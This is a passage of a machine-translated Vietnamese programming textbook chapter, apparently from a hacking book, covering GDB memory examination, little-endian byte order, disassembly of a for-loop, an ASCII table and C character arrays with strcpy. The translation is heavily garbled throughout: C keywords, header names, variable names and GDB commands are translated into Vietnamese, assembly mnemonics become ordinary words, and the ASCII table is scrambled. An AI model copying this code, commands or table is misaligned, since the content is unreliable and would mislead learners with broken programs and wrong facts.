0x83000000
0x7e09fc7d
0xc713eb02
0x8048394 <main+32>:
0x84842404
0x01e80804
0x8dffffff
0x00ffffc45
0x45
0xfc
0x00 0x00 0x00
0x00 0x83
(gdb)
Nếu bạn nhìn kỹ, bạn có thể nhận thấy điều gì đó kỳ lạ trong dữ liệu trên.
Lệnh examine đầu tiên hiển thị tám byte đầu tiên và tất nhiên, các lệnh examine sử
dụng đơn vị lớn hơn sẽ hiển thị nhiều dữ liệu hơn. Tuy nhiên, lệnh examine đầu tiên
hiển thị hai byte đầu tiên là 0xc7 và 0x45, nhưng khi một halfword được kiểm tra
tại cùng một địa chỉ bộ nhớ chính xác, giá trị 0x45c7 được hiển thị, với các byte bị
đảo ngược. Hiệu ứng đảo ngược byte tương tự này có thể được nhìn thấy khi một word
bốn byte đầy đủ được hiển thị là 0x00fc45c7, nhưng khi bốn byte đầu tiên được hiển
thị theo từng byte, chúng theo thứ tự 0xc7, 0x45, 0xfc và 0x00.
Điều này là do trên bộ xử lý x86, các giá trị được lưu trữ theo thứ tự byte
little-endian, nghĩa là byte ít quan trọng nhất được lưu trữ trước. Ví dụ, nếu bốn
byte được diễn giải thành một giá trị duy nhất, thì các byte phải được sử dụng theo
thứ tự ngược lại. Trình gỡ lỗi GDB đủ thông minh để biết cách lưu trữ các giá trị,
vì vậy khi kiểm tra một từ hoặc nửa từ, thì các byte phải được đảo ngược để hiển
thị các giá trị chính xác ở dạng thập lục phân. Việc xem lại các giá trị này
được hiển thị dưới dạng thập lục phân và thập phân không dấu có thể giúp làm rõ mọi
sự nhầm lẫn.
(gdb) x/4xb $eip
0x8048384 <main+16>:
0xc7
0x45
0xfc
0x00
(gdb) x/4ub $eip
0x8048384 <chính+16>:
199
69
252
0
(gdb) x/1xw $eip
0x8048384 <main+16>:
0x00fc45c7
(gdb) x/1uw $eip
0x8048384 <chính+16>:
16532935
(gdb) thoát
Chương trình đang chạy. Thoát ra luôn? (y hoặc n) y
người đọc@hacking:~/booksrc $ bc -ql
199*(256^3) + 69*(256^2) + 252*(256^1) + 0*(256^0)
3343252480
0*(256^3) + 252*(256^2) + 69*(256^1) + 199*(256^0)
16532935
từ bỏ
người đọc@hacking:~/booksrc $
Lập trình 29
Machine Translated by Google
Bốn byte đầu tiên được hiển thị theo cả hệ thập lục phân và hệ thập phân
không dấu chuẩn. Một chương trình máy tính dòng lệnh có tên là bc được sử dụng
để chỉ ra rằng nếu các byte được diễn giải theo thứ tự không chính xác, thì
kết quả sẽ là giá trị 3343252480 cực kỳ không chính xác . Thứ tự byte của một
kiến trúc nhất định là một chi tiết quan trọng cần lưu ý. Trong khi hầu hết các
công cụ gỡ lỗi và trình biên dịch sẽ tự động xử lý các chi tiết về thứ tự
byte, thì cuối cùng bạn sẽ trực tiếp thao tác bộ nhớ.
Ngoài việc chuyển đổi thứ tự byte, GDB có thể thực hiện các chuyển đổi khác
với lệnh examine. Chúng ta đã thấy rằng GDB có thể phân tách các lệnh ngôn ngữ
máy thành các lệnh lắp ráp mà con người có thể đọc được. Lệnh examine cũng chấp
nhận định dạng chữ i, viết tắt của instructions, để hiển thị bộ nhớ dưới dạng
các lệnh ngôn ngữ lắp ráp đã phân tách.
người đọc@hacking:~/booksrc $ gdb -q ./a.out
Sử dụng thư viện libthread_db lưu trữ "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) ngắt chính
Điểm dừng 1 tại 0x8048384: tệp firstprog.c, dòng 6.
(gdb) chạy
Chương trình khởi động: /home/reader/booksrc/a.out
Điểm dừng 1, main () tại firstprog.c:6
đối với (i = 0; i < 10; i++)
6 (gdb) ir $eip
0x8048384 <chính+16>
eip 0x8048384 (gdb) x/i $eip
0x8048384 <main+16>: (gdb)
di chuyển
DWORD PTR [ebp-4],0x0
di chuyển
DWORD PTR [ebp-4],0x0
x/3i $eip
0x8048384 <main+16>:
0x804838b <main+23>:
cmp
DWORD PTR [ebp-4],0x9
0x804838f <main+27>: (gdb)
jle
0x8048393 <chính+31>
x/7xb $eip
0x8048384 <main+16>: (gdb)
0xc7
0xfc
0x45
0x00 0x00 0x00
0x00
x/i $eip
0x8048384 <chính+16>: (gdb)
di chuyển
DWORD PTR [ebp-4],0x0
Trong đầu ra ở trên, chương trình a.out được chạy trong GDB, với điểm dừng
được đặt tại main(). Vì thanh ghi EIP trỏ đến bộ nhớ thực sự chứa các lệnh ngôn
ngữ máy, nên chúng được dịch ngược khá tốt.
Việc phân tích objdump trước đó xác nhận rằng bảy byte mà EIP trỏ tới
thực sự là ngôn ngữ máy cho cụm tương ứng
chỉ dẫn.
8048384:
c7 45 fc 00 00 00 00
di chuyển
DWORD PTR [ebp-4],0x0
Lệnh lắp ráp này sẽ di chuyển giá trị 0 vào bộ nhớ nằm tại địa chỉ được lưu
trữ trong thanh ghi EBP, trừ 4. Đây là nơi biến C i được lưu trữ trong bộ nhớ;
i được khai báo là một số nguyên sử dụng 4 byte bộ nhớ trên bộ xử lý x86. Về
cơ bản, lệnh này sẽ đưa giá trị về 0
30 0x200
Machine Translated by Google
biến i cho vòng lặp for. Nếu bộ nhớ đó được kiểm tra ngay bây giờ, nó sẽ không chứa gì ngoài rác
ngẫu nhiên. Bộ nhớ tại vị trí này có thể được kiểm tra theo nhiều cách khác nhau.
(gdb) ir ebp
0xbffff808
ebp 0xbffff808 (gdb) x/4xb
$ebp - 4
0xbffff804:
0xc0
0x83
0x04 0x08
0x83
0x04 0x08
0x83
0x04 0x08
(gdb) x/4xb 0xbffff804
0xbffff804: 0xc0 (gdb) in
$ebp - 4
$1 = (trống *) 0xbffff804
(gdb) x/4xb $1
0xbffff804:
0xc0
(gdb) x/xw $1
0xbffff804:
0x080483c0
(gdb)
Thanh ghi EBP được hiển thị để chứa địa chỉ 0xbffff808 và lệnh lắp ráp sẽ ghi vào một giá trị
bù trừ nhỏ hơn 4 so với giá trị đó, 0xbffff804. Lệnh examine có thể kiểm tra trực tiếp địa chỉ bộ
nhớ này hoặc bằng cách thực hiện phép toán ngay lập tức. Lệnh print cũng có thể được sử dụng để
thực hiện phép toán đơn giản, nhưng kết quả được lưu trữ trong một biến tạm thời trong trình gỡ
lỗi. Biến có tên $1 này có thể được sử dụng sau đó để nhanh chóng truy cập lại một vị trí cụ thể trong
bộ nhớ. Bất kỳ phương pháp nào được hiển thị ở trên sẽ thực hiện cùng một nhiệm vụ: hiển thị 4 byte
rác được tìm thấy trong bộ nhớ sẽ được xóa khi lệnh hiện tại được thực thi.
Hãy thực hiện lệnh hiện tại bằng lệnh nexti, viết tắt của lệnh tiếp theo. Bộ xử lý sẽ đọc lệnh tại
EIP, thực hiện lệnh đó và chuyển EIP đến lệnh tiếp theo.
(gdb) tiếp theo
0x0804838b
6
(gdb) x/4xb $1
0xbffff804:
0x00
(gdb) x/dw $1
0xbffff804:
0
đối với (i = 0; i < 10; i++)
0x00 0x00 0x00
(gdb) ir eip
0x804838b
eip
(gdb) x/i $eip
0x804838b <chính+23>:
0x804838b <chính+23>
cmp
DWORD PTR [ebp-4],0x9
(gdb)
Như đã dự đoán, lệnh trước đó xóa 4 byte được tìm thấy tại EBP trừ 4, là bộ nhớ được dành riêng
cho biến C i. Sau đó, EIP chuyển sang lệnh tiếp theo. Một vài lệnh tiếp theo thực sự có ý nghĩa hơn khi
nói về chúng trong một nhóm.
Lập trình 31
Machine Translated by Google
(gdb) x/10i $eip
0x804838b <main+23>:
cmp
DWORD PTR [ebp-4],0x9
0x804838f <main+27>:
jle
0x8048393 <chính+31>
jmp
0x80483a6 <chính+50>
0x8048391 <main+29>:
0x8048393 <main+31>:
di chuyển
DWORD PTR [esp],0x8048484
0x804839a <main+38>:
gọi 0x80482a0 <printf@plt>
0x804839f <main+43>:
lea eax,[ebp-4]
0x80483a2 <main+46>:
inc
DWORD PTR [eax]
0x80483a4 <main+48>:
jmp
0x804838b <chính+23>
0x80483a6 <main+50>:
nghỉ
0x80483a7 <main+51>: (gdb)
phép ret
Lệnh đầu tiên, cmp, là một lệnh so sánh, lệnh này sẽ so sánh bộ nhớ được
sử dụng bởi biến C i với giá trị 9. Lệnh tiếp theo, jle là viết tắt của lệnh
nhảy nếu nhỏ hơn hoặc bằng. Lệnh này sử dụng kết quả của phép so sánh trước đó
(thực tế được lưu trữ trong thanh ghi EFLAGS) để nhảy EIP để trỏ đến một phần
khác của mã nếu đích của phép so sánh trước đó nhỏ hơn hoặc bằng nguồn.
Trong trường hợp này, lệnh này yêu cầu nhảy đến địa chỉ 0x8048393 nếu giá trị
được lưu trữ trong bộ nhớ cho biến C i nhỏ hơn hoặc bằng giá trị 9. Nếu không
phải như vậy, EIP sẽ tiếp tục đến lệnh tiếp theo, đây là lệnh nhảy không điều
kiện. Điều này sẽ khiến EIP nhảy đến địa chỉ 0x80483a6. Ba lệnh này kết hợp để
tạo ra cấu trúc điều khiển if-then-else: Nếu i
nhỏ hơn hoặc bằng 9, sau đó đi đến lệnh tại địa chỉ 0x8048393; nếu không, hãy đi đến lệnh tại địa chỉ
0x80483a6. Địa chỉ đầu tiên của 0x8048393 (được in đậm) chỉ đơn giản là lệnh được tìm thấy sau lệnh
nhảy cố định và địa chỉ thứ hai của 0x80483a6 (được in nghiêng) nằm ở cuối hàm.
Vì chúng ta biết giá trị 0 được lưu trữ trong vị trí bộ nhớ đang được so
sánh với giá trị 9 và chúng ta biết rằng 0 nhỏ hơn hoặc bằng 9, nên EIP sẽ ở
0x8048393 sau khi thực hiện hai lệnh tiếp theo.
(gdb) tiếp theo
6
0x0804838f
đối với (i = 0; i < 10; i++)
(gdb) x/i $eip
0x804838f <main+27>: (gdb)
jle
0x8048393 <chính+31>
nexti
8
printf("Xin chào thế giới!\n");
(gdb) ir eip
0x8048393
eip
0x8048393 <chính+31>
(gdb) x/2i $eip
0x8048393 <main+31>:
0x804839a <main+38>: (gdb)
di chuyển
DWORD PTR [esp],0x8048484
gọi 0x80482a0 <printf@plt>
Như mong đợi, hai lệnh trước cho phép thực thi chương trình chảy xuống
0x8048393, điều này đưa chúng ta đến hai lệnh tiếp theo.
32 0x200
Machine Translated by Google
lệnh đầu tiên là một lệnh mov khác sẽ ghi địa chỉ 0x8048484
vào địa chỉ bộ nhớ chứa trong thanh ghi ESP. Nhưng ESP đang trỏ đến cái gì?
(gdb) ir đặc biệt
0xbffff800
đặc
0xbffff800
biệt (gdb)
Hiện tại, ESP trỏ đến địa chỉ bộ nhớ 0xbffff800, vì vậy khi mov
lệnh được thực thi, địa chỉ 0x8048484 được ghi ở đó. Nhưng tại sao? Địa chỉ bộ nhớ 0x8048484
có gì đặc biệt ? Có một cách để tìm hiểu.
(gdb) x/2xw 0x8048484
0x8048484: 0x6c6c6548 (gdb) x/
0x6f57206f
6xb 0x8048484
0x8048484: 0x48 (gdb) x/
0x65
0x6c
0x6c
0x6f 0x20
101
108
108
111
6ub 0x8048484
0x8048484: 72 (gdb)
32
Một con mắt được đào tạo có thể nhận thấy một số điều về bộ nhớ ở đây, đặc biệt là
phạm vi của các byte. Sau khi kiểm tra bộ nhớ đủ lâu, các kiểu mẫu trực quan này trở nên rõ
ràng hơn. Các byte này nằm trong phạm vi ASCII có thể in được. ASCII là một tiêu chuẩn được
thống nhất, ánh xạ tất cả các ký tự trên bàn phím của bạn (và một số ký tự không phải)
thành các số cố định.
Các byte 0x48, 0x65, 0x6c và 0x6f đều tương ứng với các chữ cái trong bảng chữ cái trên bảng
ASCII được hiển thị bên dưới. Bảng này được tìm thấy trong trang hướng dẫn sử dụng cho ASCII,
có sẵn trên hầu hết các hệ thống Unix bằng cách nhập man ascii.
Bảng ASCII
Tháng Mười Hai Hex Char
Tháng Mười Hai Hex Char
-------------------------------------------------- ----------
000 0
00
Không có '\0'
100 64
40
@
001 1
01
SOH
101 65
41
MỘT
002 2
02
STX
102 66
42
B
003 3
03
ETX
103 67
43
C
004 4
04
104 68
44
D
005 5
05
ĐÁP ÁN
105 69
45
E
006 6
06 ĐÁNH GIÁ
106 70
46
F
007 7
07
107 71
47
G
010 8
08
BS '\b'
110 72
48
H
011 9
09
HT '\t'
111 73
49
TÔI
012 10
0A
LF '\n'
112 74
4A
J
013 11
0B
VT '\v'
113 75
4B
K
014 12
0C
FF '\f'
114 76
4C
L
015 13
0 ngày
CR '\r'
115 77
4 chiều
Tôi
016 14
0E
VÌ THẾ
116 78
017 15
0F
SI
117 79
020 16
10
DLE
120 80
50
P
021 17
11
DC1
121 81
51
Hỏi
Ngày kết thúc
BEL '\a'
4E
N
Tầng 4
Ồ
Lập trình 33
Machine Translated by Google
022 18
12
DC2
122 82
52
R
023 19
13
DC3
123 83
53
S
024 20
14
DC4
124 84
54
T
025 21
15
NAK
125 85
55
026 22
16
ĐỒNG BỘ
126 86
56
027 23
17
ETB
127 87
57
T
030 24
18
CÓ THỂ
130 88
58
X
031 25
19
EM
131 89
59 năm
032 26
1A
ĐĂNG KÝ
132 90
5A
Z
033 27
1B
THOÁT
133 91
5B
[
034 28
1C
134 92
5C
035 29
1 ngày
135 93
5D
036 30
1E
136 94
5E
037 31
Tầng 1
137 95
5F
040 32
20
140 96
60
041 33
21
141 97
61
042 34
22
142 98
62
043 35
23
63 143
044 36
24
99 144 100 64
045 37
25
145 101 65 146
và
046 38
26
102 66 147 103
nếu
047 39
27
050 40
28
051 41
29
052 42
2A
*
152 106 6A
053 43
2B
+
153 107 6B
054 44
2C
,
-
154 108 6C
tôi
155 109 6D
tôi
055 45
2 chiều
056 46
2E
057 47
Tầng 2
060 48
061 49
062 50
063 51
CÂU HỎI
GS
ĐẠI HỌC
CHÚNG TA
KHÔNG GIAN
!
"
# $% &
'
Bạn
V
'\\'
\ ]
^
_
`
Một
b
c
ngày
67 150 104 68
g
151 105 69
giờ
Tôi
( )
j
tôi
.
156 110 6E
N
/
157 111 6F 160
ôi
30
0
112 70 161 113
31
1
162 114
32
2
72 163 115 73
33
3
164 116 74 165
S
064 52
34
4
117 75 166 118
t
065 53
35
066 54
36
067 55
37
070 56
38
7 8
071 57
39
9
171 121 79
và
072 58
3A
:
172 122 7A
z
073 59
3B
7B 173 123
{
074 60
3C
075 61
3D
;
<
=
076 62
3E
077 63
Tầng 3
76 167 119 77
5 6
170 120 78
71
P
q
r
bạn
v
chúng tôi
x
174 124 7C
|
175 125 7D
}
~
176 126 7E
> ?
177 127 7F
KHÔNG
Rất may, lệnh examine của GDB cũng chứa các điều khoản để xem loại bộ
nhớ này. Chữ cái định dạng c có thể được sử dụng để tự động tra cứu một byte
trên bảng ASCII và chữ cái định dạng s sẽ hiển thị toàn bộ chuỗi dữ liệu
ký tự.
34 0x200
Machine Translated by Google
(gdb) x/6cb 0x8048484
(gdb) x/giây
72 'H' 101 'e' 108 'l' 108 'l' 111 'o' 32 0x8048484:
' '
0x8048484
0x8048484:
"Xin chào thế giới!\n"
(gdb)
Các lệnh này cho thấy chuỗi dữ liệu "Hello, world!\n" được lưu trữ tại địa
chỉ bộ nhớ 0x8048484. Chuỗi này là đối số cho hàm printf() , cho biết việc di
chuyển địa chỉ của chuỗi này đến địa chỉ được lưu trữ trong ESP (0x8048484) có
liên quan đến hàm này. Đầu ra sau đây cho thấy địa chỉ của chuỗi dữ liệu được di
chuyển vào địa chỉ mà ESP đang trỏ tới.
(gdb) x/2i $eip
0x8048393 <main+31>:
DWORD PTR [esp],0x8048484
di chuyển
0x804839a <main+38>:
gọi 0x80482a0 <printf@plt>
(gdb) x/xw $esp
0xbffff800: 0xb8000ce0
(gdb) tiếp theo
8
0x0804839a
printf("Xin chào thế giới!\n");
(gdb) x/xw $esp
0xbffff800:
0x08048484
(gdb)
Lệnh tiếp theo thực ra được gọi là hàm printf() ; nó in chuỗi dữ liệu. Lệnh
trước đó đang thiết lập cho lệnh gọi hàm và kết quả của lệnh gọi hàm có thể được
thấy trong đầu ra bên dưới được in đậm.
(gdb) x/i $eip
0x804839a <main+38>:
gọi 0x80482a0 <printf@plt>
(gdb) nexti
Xin chào thế giới!
6
đối với (i = 0; i < 10; i++)
(gdb)
Tiếp tục sử dụng GDB để gỡ lỗi, chúng ta hãy xem xét hai hướng dẫn tiếp theo.
Một lần nữa, chúng có ý nghĩa hơn khi xem xét trong một nhóm.
(gdb) x/2i $eip
0x804839f <main+43>:
lá
0x80483a2 <main+46>: (gdb)
bao gồm
eax,[ebp-4]
DWORD PTR [eax]
Hai lệnh này về cơ bản chỉ tăng biến i lên 1. Lệnh lea là từ viết tắt của
Load Effective Address, lệnh này sẽ tải
Lập trình 35
Machine Translated by Google
địa chỉ quen thuộc của EBP trừ 4 vào thanh ghi EAX. Việc thực hiện lệnh này được hiển thị bên dưới.
(gdb) x/i $eip
0x804839f <main+43>:
lá
eax,[ebp-4]
(gdb) in $ebp - 4
$2 = (trống *) 0xbffff804
(gdb) x/x $2
0xbffff804:
0x00000000
(gdb) ir eax
eax
0xd
13
(gdb) tiếp theo
0x080483a2
6
(gdb) ir eax
eax
0xbffff804
(gdb) x/xw $eax
0xbffff804:
0x00000000
(gdb) x/dw $eax
0xbffff804:
0
đối với (i = 0; i < 10; i++)
-1073743868
(gdb)
Lệnh inc sau đây sẽ tăng giá trị tìm thấy tại địa chỉ này (hiện được lưu trữ trong thanh ghi EAX)
lên 1. Việc thực hiện lệnh này cũng được hiển thị bên dưới.
(gdb) x/i $eip
0x80483a2 <main+46>:
(gdb) x/dw $eax
0xbffff804:
(gdb) tiếp theo
bao gồm
DWORD PTR [eax]
0
0x080483a4
6
(gdb) x/dw $eax
0xbffff804:
1
đối với (i = 0; i < 10; i++)
(gdb)
Kết quả cuối cùng là giá trị được lưu trữ tại địa chỉ bộ nhớ EBP trừ 4
(0xbffff804), tăng thêm 1. Hành vi này tương ứng với một phần mã C trong đó biến
i được tăng lên trong vòng lặp for.
Lệnh tiếp theo là lệnh nhảy không điều kiện.
(gdb) x/i $eip
0x80483a4 <chính+48>:
jmp
0x804838b <chính+23>
(gdb)
Khi lệnh này được thực thi, nó sẽ gửi chương trình trở lại lệnh ở địa chỉ
0x804838b. Nó thực hiện điều này bằng cách chỉ cần đặt EIP thành giá trị đó.
Khi xem lại toàn bộ quá trình phân tách, bạn sẽ có thể biết được phần nào
của mã C đã được biên dịch thành lệnh máy nào.
36 0x200
Machine Translated by Google
(gdb) giải tán chính
Bản sao mã trình biên dịch cho hàm main:
0x08048374 <main+0>: đẩy ebp
0x08048375 <main+1>: ebp,esp
mov
0x08048377 <main+3>: esp,0x8
sub
0x0804837a <main+6>:
và
0x0804837d <main+9>: eax,0x0
di chuyển
đặc biệt,0xfffffff0
0x08048382 <main+14>: sub esp,eax
0x08048384 <main+16>: mov DWORD PTR [ebp-4],0x0
0x0804838b <main+23>: cmp DWORD PTR [ebp-4],0x9
0x0804838f <main+27>: jle 0x8048393 <main+31>
0x08048391 <chính+29>: jmp 0x80483a6 <chính+50>
0x08048393 <main+31>: mov DWORD PTR [esp],0x8048484
0x0804839a <main+38>: gọi 0x80482a0 <printf@plt>
0x0804839f <main+43>: lea eax,[ebp-4]
0x080483a2 <main+46>: tăng 0x080483a4
DWORD PTR [eax]
<main+48>: jmp 0x804838b <main+23>
0x080483a6 <main+50>: rời khỏi
0x080483a7 <main+51>: ret Kết thúc
quá trình dump trình biên dịch.
(gdb) danh sách
1
#include <stdio.h>
2
int chính()
3 4
{
số nguyên i;
5 6
đối với (i = 0; i < 10; i++)
{
7 8
printf("Xin chào thế giới!\n");
9
10
}
}
(gdb)
Các lệnh được in đậm tạo nên vòng lặp for, và các lệnh được in nghiêng
là lệnh gọi printf() được tìm thấy trong vòng lặp. Chương trình thực thi sẽ
nhảy trở lại lệnh so sánh, tiếp tục thực thi lệnh gọi printf() và tăng biến
đếm cho đến khi cuối cùng bằng 10. Tại thời điểm này, lệnh jle có điều kiện
sẽ không thực thi; thay vào đó, con trỏ lệnh sẽ tiếp tục đến lệnh nhảy không
điều kiện, lệnh này thoát khỏi vòng lặp và kết thúc chương trình.
0x260 Quay lại Cơ bản
Bây giờ khi ý tưởng về lập trình không còn trừu tượng nữa, có một vài khái
niệm quan trọng khác cần biết về C. Ngôn ngữ Assembly và bộ xử lý máy tính
đã tồn tại trước khi có các ngôn ngữ lập trình cấp cao hơn, và nhiều khái
niệm lập trình hiện đại đã phát triển theo thời gian. Tương tự như việc biết
một chút về tiếng Latin có thể cải thiện đáng kể sự hiểu biết của một người về
Lập trình 37
Machine Translated by Google
Tiếng Anh, kiến thức về các khái niệm lập trình cấp thấp có thể hỗ trợ việc hiểu các
khái niệm cấp cao hơn. Khi tiếp tục đến phần tiếp theo, hãy nhớ rằng mã C phải được biên
dịch thành các lệnh máy trước khi có thể thực hiện bất kỳ điều gì.
0x261 Chuỗi
Giá trị "Hello, world!\n" được truyền vào hàm printf() trong chương trình trước là một
chuỗi—về mặt kỹ thuật, là một mảng ký tự. Trong C, một mảng chỉ đơn giản là một danh
sách n phần tử của một kiểu dữ liệu cụ thể. Một mảng 20 ký tự chỉ đơn giản là 20 ký tự
liền kề nằm trong bộ nhớ. Mảng cũng được gọi là bộ đệm.
Chương trình char_array.c là một ví dụ về mảng ký tự.
char_array.c
#include <stdio.h>
int chính()
{
ký tự str_a[20];
str_a[0] = 'H';
str_a[1] = 'e';
str_a[2] = 'l';
str_a[3] = 'l';
str_a[4] = 'o';
str_a[5] = ',';
str_a[6] = ' ';
str_a[7] = 'w';
str_a[8] = 'o';
str_a[9] = 'r';
str_a[10] = 'l';
str_a[11] = 'd';
str_a[12] = '!';
str_a[13] = '\n';
str_a[14] = 0;
printf(chuỗi_a); }
Trình biên dịch GCC cũng có thể được cung cấp công tắc -o để xác định tệp đầu ra để
biên dịch. Công tắc này được sử dụng bên dưới để biên dịch chương trình thành tệp nhị
phân có thể thực thi được gọi là char_array.
reader@hacking:~/booksrc $ gcc -o char_array char_array.c
reader@hacking:~/booksrc $ ./char_array Xin
chào thế giới!
người đọc@hacking:~/booksrc $
Trong chương trình trước, một mảng ký tự 20 phần tử được định nghĩa là str_a, và
mỗi phần tử của mảng được ghi vào, từng phần tử một. Lưu ý rằng số bắt đầu từ 0, trái
ngược với 1. Cũng lưu ý rằng ký tự cuối cùng là 0.
(Điều này cũng được gọi là byte null.) Mảng ký tự đã được định nghĩa, do đó 20 byte
được phân bổ cho nó, nhưng chỉ có 12 trong số các byte này thực sự được sử dụng. Byte null
38 0x200
Machine Translated by Google
ở cuối được sử dụng như một ký tự phân cách để báo cho bất kỳ hàm nào đang xử lý
chuỗi dừng hoạt động ngay tại đó. Các byte thừa còn lại chỉ là rác và sẽ bị bỏ
qua. Nếu một byte null được chèn vào phần tử thứ năm của mảng ký tự, chỉ các ký tự
Hello sẽ được in ra bởi hàm printf() .
Vì việc thiết lập từng ký tự trong một mảng ký tự rất tỉ mỉ và các chuỗi
được sử dụng khá thường xuyên, nên một tập hợp các hàm chuẩn đã được tạo ra để thao
tác chuỗi. Ví dụ, hàm strcpy() sẽ sao chép một chuỗi từ nguồn đến đích, lặp qua
chuỗi nguồn và sao chép từng byte đến đích (và dừng lại sau khi sao chép byte kết
thúc null).
Thứ tự các đối số của hàm tương tự như cú pháp lắp ráp của Intel: đích trước rồi
đến nguồn. Chương trình char_array.c có thể được viết lại bằng strcpy() để thực
hiện cùng một mục đích bằng thư viện chuỗi. Phiên bản tiếp theo của chương
trình char_array được hiển thị bên dưới bao gồm string.h vì nó sử dụng hàm chuỗi.
char_array2.c
#include <stdio.h>
#include <chuỗi.h>
int chính() {
ký tự str_a[20];
strcpy(str_a, "Xin chào thế giới!\n");
printf(chuỗi_a);
}
Hãy cùng xem chương trình này với GDB. Trong kết quả đầu ra bên dưới, chương
trình đã biên dịch được mở bằng GDB và các điểm dừng được đặt trước, trong và sau
lệnh gọi strcpy() được hiển thị bằng chữ in đậm. Trình gỡ lỗi sẽ tạm dừng chương
trình tại mỗi điểm dừng, cho chúng ta cơ hội để kiểm tra các thanh ghi và bộ nhớ.
Mã của hàm strcpy() đến từ một thư viện dùng chung, do đó điểm dừng trong hàm này
thực sự không thể được đặt cho đến khi chương trình được thực thi.
người đọc@hacking:~/booksrc $ gcc -g -o char_array2 char_array2.c
người đọc@hacking:~/booksrc $ gdb -q ./char_array2
Sử dụng thư viện libthread_db lưu trữ "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) danh sách
1
#include <stdio.h>
2
#include <chuỗi.h>
3
4
int chính() {
ký tự str_a[20];
5 6
strcpy(str_a, "Xin chào thế giới!\n");
printf(chuỗi_a);
7 8
9
}
(gdb) phá vỡ 6
Điểm dừng 1 tại 0x80483c4: tệp char_array2.c, dòng 6.
(gdb) phá vỡ strcpy
Lập trình 39
Machine Translated by Google
Hàm "strcpy" chưa được xác định.
Đặt điểm dừng chờ tải thư viện chia sẻ trong tương lai? (y hoặc [n]) y
Điểm dừng 2 (strcpy) đang chờ xử lý.
(gdb) phá vỡ 8
Điểm dừng 3 tại 0x80483d7: tệp char_array2.c, dòng 8.
(gdb)
Khi chương trình chạy, điểm dừng strcpy() được giải quyết. Tại mỗi
điểm dừng, chúng ta sẽ xem xét EIP và các lệnh mà nó trỏ đến. Lưu ý rằng vị
trí bộ nhớ cho EIP tại điểm dừng giữa là khác nhau.
(gdb) chạy
Chương trình bắt đầu: /home/reader/booksrc/char_array2
Điểm dừng 4 tại 0xb7f076f4
Đã giải quyết điểm dừng đang chờ "strcpy"
Điểm dừng 1, main() tại char_array2.c:7
7
strcpy(str_a, "Xin chào thế giới!\n");
(gdb) ir eip
0x80483c4 <chính+16>
eip 0x80483c4 (gdb) x/5i $eip
0x80483c4 <main+16>:
di chuyển
0x80483cc <main+24>:
lá
0x80483cf <main+27>:
di chuyển
0x80483d2 <main+30>:
0x80483d7 <main+35>:
DWORD PTR [esp+4],0x80484c4
eax,[ebp-40]
DWORD PTR [esp],eax
gọi 0x80482c4 <strcpy@plt>
lá
eax,[ebp-40]
(gdb) tiếp tục
Tiếp tục.
Điểm dừng 4, 0xb7f076f4 trong strcpy () từ /lib/tls/i686/cmov/libc.so.6
(gdb) ir eip
eip 0xb7f076f4 (gdb) x/5i $eip
0xb7f076f4 <strcpy+4>
0xb7f076f4 <strcpy+4>: mov
esi,DWORDPTR [ebp+8]
0xb7f076f7 <strcpy+7>: mov
eax,DWORD PTR [ebp+12]
0xb7f076fa <strcpy+10>: mov
ecx,esi
0xb7f076fc <strcpy+12>: sub
ecx,eax
0xb7f076fe <strcpy+14>: mov
edx,eax
(gdb) tiếp tục
Tiếp tục.
Điểm dừng 3, main() tại char_array2.c:8
8
printf(chuỗi_a);
(gdb) ir eip
0x80483d7 <chính+35>
eip 0x80483d7 (gdb) x/5i $eip
0x80483d7 <chính+35>:
lá
0x80483da <chính+38>:
di chuyển
0x80483dd <chính+41>:
40 0x200
DWORD PTR [esp],eax
gọi 0x80482d4 <printf@plt>
0x80483e2 <chính+46>:
rời khỏi
0x80483e3 <chính+47>:
trở về
(gdb)
eax,[ebp-40]
Machine Translated by Google
Địa chỉ trong EIP tại điểm dừng giữa khác nhau vì mã cho hàm strcpy() đến từ
một thư viện đã tải. Trên thực tế, trình gỡ lỗi hiển thị EIP cho điểm dừng giữa
trong hàm strcpy() , trong khi EIP tại hai điểm dừng khác nằm trong hàm main() . Tôi
muốn chỉ ra rằng EIP có thể di chuyển từ mã chính đến mã strcpy() và ngược lại. Mỗi
khi một hàm được gọi, một bản ghi được lưu giữ trên một cấu trúc dữ liệu được gọi đơn
giản là ngăn xếp. Ngăn xếp cho phép EIP trả về thông qua chuỗi dài các lệnh gọi
hàm. Trong GDB, lệnh bt có thể được sử dụng để theo dõi ngược ngăn xếp. Trong đầu ra
bên dưới, theo dõi ngược ngăn xếp được hiển thị tại mỗi điểm dừng.
(gdb) chạy
Chương trình đang được gỡ lỗi đã được bắt đầu.
Bắt đầu từ đầu? (y hoặc n) y
Bắt đầu chương trình: /home/reader/booksrc/char_array2 Lỗi
khi thiết lập lại điểm dừng 4:
Hàm "strcpy" chưa được xác định.
Điểm dừng 1, main() tại char_array2.c:7
7
strcpy(str_a, "Xin chào thế giới!\n");
(gdb) bt
#0 main() tại char_array2.c:7
(gdb) tiếp theo
Tiếp tục.
Điểm dừng 4, 0xb7f076f4 trong strcpy () từ /lib/tls/i686/cmov/libc.so.6
(gdb) bt
#0 0xb7f076f4 trong strcpy () từ /lib/tls/i686/cmov/libc.so.6
#1 0x080483d7 trong main() tại char_array2.c:7
(gdb) tiếp theo
Tiếp tục.
Điểm dừng 3, main() tại char_array2.c:8
8 printf(chuỗi_a);
(gdb) bt
#0 main() tại char_array2.c:8
(gdb)
Tại điểm dừng giữa, backtrace của ngăn xếp hiển thị bản ghi của lệnh gọi strcpy() .
Ngoài ra, bạn có thể nhận thấy rằng hàm strcpy() ở một địa chỉ hơi khác trong lần chạy
thứ hai. Điều này là do phương pháp bảo vệ khai thác được bật theo mặc định trong hạt
nhân Linux kể từ 2.6.11. Chúng ta sẽ nói về biện pháp bảo vệ này chi tiết hơn sau.
0x262 Có dấu, Không dấu, Dài và Ngắn
Theo mặc định, các giá trị số trong C được ký hiệu, có nghĩa là chúng có thể là số âm
và số dương. Ngược lại, các giá trị không dấu không cho phép các số âm. Vì cuối cùng
tất cả chỉ là bộ nhớ, nên tất cả các giá trị số phải được lưu trữ ở dạng nhị phân và
các giá trị không dấu có ý nghĩa nhất ở dạng nhị phân. Một số nguyên không dấu 32
bit có thể chứa các giá trị từ 0 (tất cả các số nhị phân 0) đến 4.294.967.295 (tất cả
các số nhị phân 1). Một số nguyên có dấu 32 bit vẫn chỉ là 32 bit, có nghĩa là nó có thể
Lập trình 41
Machine Translated by Google
chỉ nằm trong một trong 232 tổ hợp bit có thể. Điều này cho phép các số nguyên có dấu
32 bit có phạm vi từ
